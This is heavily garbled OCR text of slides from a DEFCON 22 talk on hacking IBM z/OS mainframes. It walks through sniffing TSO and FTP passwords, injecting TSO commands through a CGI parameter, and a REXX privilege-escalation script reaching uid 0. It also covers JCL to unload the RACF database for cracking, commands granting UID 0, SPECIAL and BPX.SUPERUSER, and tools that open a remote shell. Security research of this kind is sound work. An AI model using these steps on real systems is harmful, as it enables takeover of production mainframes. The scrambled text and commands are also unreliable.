rEDf KO0
10 orew IHL

FUNMING 1ENM
MA I NFFEAMES

=oldier of Fortramn
Zma lnframed?Yse’




DISCLAINEFR * .

All research was done under
personal time. I am not here.
in the name of, or on behalf
of, My emMployer.

Any views expressed in this

talk are my own and not those
of My eMmployer.

This talk discusses work \
perforMmed In My spare timMme
generally screwing aruund with

Mainframes and thlnklng Hhat2
1f this sti1l11 works.
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IPADDR: 64.113.32.29 Time: 08:21:07




£ -0 UHTF

- Most popular
"Mainframe™ 05

- Uarsij1on 2.1 out
now!

LEGACY MY ASS!




L -0 LDERMD

-Let 's take a
look at this
Tthing

- Jt'11 all make
SENS e




DEFCON Operating System v10.314

Whats all this for?

Lets do this shit!
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. ETTEFCAF LDEMD.

. dade@mainframe:
dade@®mainframe:
dade@®mainframe:

5dade@mainframe:

dade@mainframe:
dade@®mainframe:
. dade@®mainframe:
dade@mainframe:
dade@mainframe:
dade@®mainframe:

. +2
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MISSELD 1T

FTP : 10.10.0.210:21 -> USER: plague PASS:
10.10.0.22:23 <= z/0S TSO Username : margo
10.10.0.22:23 <= z/0S TSO Password : god
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CGI-EIN 1IN
TYLOoOL SO0 A

- REAZX ~ S5H st111
us ad

- Injgection simMple,s
1¥ youvu know T50
coMMands




Welcome to the DEFCON 22 Mainframe!

Please enter your UserID to check your access rights:

Enter your personal folder to view contents
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C O 10.10.0.210/cgi—binh'rstparm
Listing User ID Details

lu kate
USER=KATE NAME=
DEFAULT-CGROUP=MI
ATTRIBUTES=NONE
REVOKE DATE=NONE RESUME DATE=NONE
LAST-ACCESS=14.172/04:11:17
CLASS AUTHORIZATIONS=NONE
NO-INSTALLATION-DATA
NO-MODEL~NAME

rew
‘ra

EART BREAK KID OWNER=MIN
NI DAT IN

NG CREATED=14.171
E=14.172 PASS~- E

RVAL=180 PERASEDATE=

LOGON ALLOWED  (DAYS) (TIME)
ANYDAY ANYTIME
GROUP=MINING AUTH=USE CONNECT-OWNER=MINING CONNECT-DATE=
CONNECTS= 12 UACC=NONE LAST-CONNECT=14.172/04:11:17

CONNECT ATTRIBUTES=NONE

REVOKE DATE=NONE RESUME DATE=NONE
SECURITY-LEVEL=NONE SPECIFIED
CATEGORY-AUTHORIZATION
NONE SPECIFIED
SECURITY-LABEL=NONE SPECIFIED



C' | [} 10.10.0.210/cgi-bin/tsocmd?first=|lu&parm=dads

Listing User ID Details

lu dade omvs
USER=DADE NAME=DADE MURPHY OWNER=SYS1 CREATED=14.171
DEFAULT-CROUP=SYS1 PASSDATE=14.177 PASS~-INTERVAL=180 PHRASEDATE=N/A
ATTRIBUTES=SPECIAL OPERATIONS
REVOKE DATE=NONE RESUME DATE=NONE
LAST-ACCESS=14.182/22:45:29
CLASS AUTHORIZATIONS=NONE
NO-INSTALLATION-DATA
NO-MODEL~NAME
LOGON ALLOWED (DAYS)

ANYDAY ANYTIME
GROUP=SYS1 AUTH=USE CONNECT-OWNER=SYS1 CONNECT-DATE=14.171
CONNECTS= 32 UACC=NONE LAST-CONNECT=14.182/22:45:29
CONNECT ATTRIBUTES=NONE
REVOKE DATE=NONE RESUME DATE=NONE
SECURITY-LEVEL=NON
CATEGORY-AUTEHORIZA
NONE SPECIFIED
SECURITY-LABEL=NONE

7
E

SPECIFIED
ION

E
ik

OMVS INFORMATION

0000031337
/u/dade

PROGRAM= /bin/sh
CPUTIMEMAX= NONE
ASSIZEMAX= NONE
FILEPROCMAX= NONE
PROCUSERMAX= NONE
THREADSMAX= NONE

APAREAMAX= NONE




rvary
RACF DATABASE STATUS:
ACTIVE USE NUM VOLUME

YES PRIM SYS1.RA

|
CENSORED

YES BACK SYS1 .RA(
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LNLEY FTES

Mo Problem!

- FTP lets youw runig
JCL CJCL = Script

 CoMmMand :
SITE FILE=1ES




HLLCESS
GCFEHMTEL

e Mow we have
access

- FTP Script

Account
- Ettercap

|







ESLCHLATE'’

- Let s escalate
our privilege

- Connect with
telnet  ssh 3278

- Use local priwv
escalation

#2ma lntframedye?




GCGETRLLDT . R

rex» script

- Levaerages
CUE-2812—-539531 -

Unspecified vulnerability in IBM§
Tivoli NetView 1.4, 5.1 through 5.4, }
and 6.1 on z/OS allows local users
to gain privileges by leveragingg
access to the normal Unix System

Services (USS) security level. '

G e )




Tah T3K

- IBM not really

being honest
here

-Horks on any
setuid REXA
scri1pt?
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LEML

b Su
SUM5011 su: User not authorized to obtain superuser authority.
) uname -
z/0S
$ id
uid=22285(MARGO) gid=31337(MINING)
$ cat /tmp/text.rx
/* REXX */
say YAY
$ 1s -n /tmp/text.rx
-rwsrwsrwx 1 0 ) 19 Jul 1 05:24 /tmp/text.rx
$ ./getroot.rx "/tmp/text.rx' '/bin/sh'

-
L |
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getroot.rx | DEFCON 22 | 2014 X
p SYSIEESIEESIEETEESIEESIESTEESTEE S TS T

MARGO time to change your UID
Spawning /tmp/text.rx

File owner UID 1is: O

Getting new UID

new UID is: 0@

Executing /bin/sh




THHMRS

- Swedish Black
Hat coMMunity

- dJ1i1ver Lavenry
- GDS Security

-Logica Breach
Investigation

Fi1les

Z2rmnainframed?TaT







KEEF ACCESS .

- Get a copy of
the RALCF
database

- JOHNM THE FKRIFFEF

ract2aohn ract . dlio
John racf_hashes




= TEHL

- Use JIEREEDBUBA Tto
convert RFRACF to
flat Ffi1le

- Search for SPECIAL
accounts

S

.Login with a SPECIAL
account




. S

.

EDIT

000001
000002
000003
000004
000005
000006
000007
000008
000009
000010
000011
000012
000013
000014
000015
000016
000017

1 FRLELLL

DADE . RACFUNLD Columns 00001 00072
Vit wE N T R N T e e g T e T T N NE NE NS N WE Ne Nt T s Nt NE Top of Data B e R e e e e e e S R e e i e o
//RACFUNLD 'RACFUNLD",

// NOTIFY=&SYSUID,

// CLASS=A,

// MSGCLASS=X,

// MSGLEVEL=(1,1),

// REGION=6000K

//
//UNLOAD
//SYSPRINT

COND=(4
PGNR-IRRDBUOQ BPARM=NOLOCKINPUT
SYSO |—A,uurluo=1,DEST=U1018

//****************************************************

//* CHANGE SYS1.RACF.BACKUP TO YOUR RACF DB

//****************************************************

CENSORED

//INDD1
//0UTDD
//

DISP=SHR,DSN=SYS1.RACF
DSN=&SYSUID. .RACF.FLATFILE,

DISP=CNEW, CATLG,DELETE),

// SPACE=(CYL,(70,10),RLSE),

// DCB=CRECFM=FB, LRECL=4096 ,BLKSIZE=0)

B e R R R S R e Bottom Of Data s s e v v o e ol vl e e ol vde e e ol vl e e ol ol e e ale vl e ke

.
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LELCOME TUO
LN FSUNE

« SPECIAL givwves
access to mMmake

any change to
usears

- Add Users




. GIVER UID O,

Llu zerokul omvs noracf alu zerokul omvs( uid( @ ) )

Llu zerokul omvs noracf
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GIUVE'F
SFELTHL

;altuser zerokul SPECIAL

. 11stuser zerokul




EFR. LUHAF
- BPX . SUPERUSER

~—Allows peaople to
su to root withoot
password




- EPN.SUFEFUSEF:
- A SPECIAL user

t-'_-IF'E {change userid) -

FEEMIT BP=x.SUPERUSER
CLASSC(FACILITY> IDCUSERID?
ACCESSCEEAD)

And

SETROPTS GENMERICCFACILITY)
EEFRESH
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TOOL S
. CATSO

- T50 BindA-BReverse shell

- TSHOCEKEER
-Pythons-JCLAFTPF

wrapper for CATS0D
- MaInTP

8%

-Puthon~JCLAFTP B
getroot.rx wrapper.>-







TSHOCKEF

dade@mGInframe ~/PYTHONS ./TShOcker. py -r --

—
—_
—
—_
—
—

+—

-y

| Connecting to: 10.10.0.210 : 21

Switching to JES mode

] Inserting JCL with CATSO 1n to job queue
| +| Done...

To connect use nc 10.10.0.210 31337
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MHAINMTF

- Uses GETROOT .rrx
+ JCL and FTFP
and HetEBCDICat

tTo get a reMote

root shell




« S

b

dade@®maintrame:~/PYTHUNS ./MainiP.py -r --rport 543Z1JJ19.10.9.Z1¢ dade Love
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I UANT ONE .
- RD =

- RFational Deuelupeﬁg
for sustem =

+He can use 1t to .
practice 1nstead

- Call your IBH




THHMRS

- DomMmIinic Hhite
(s 1nge )

e The comMmMunity

- IBHM
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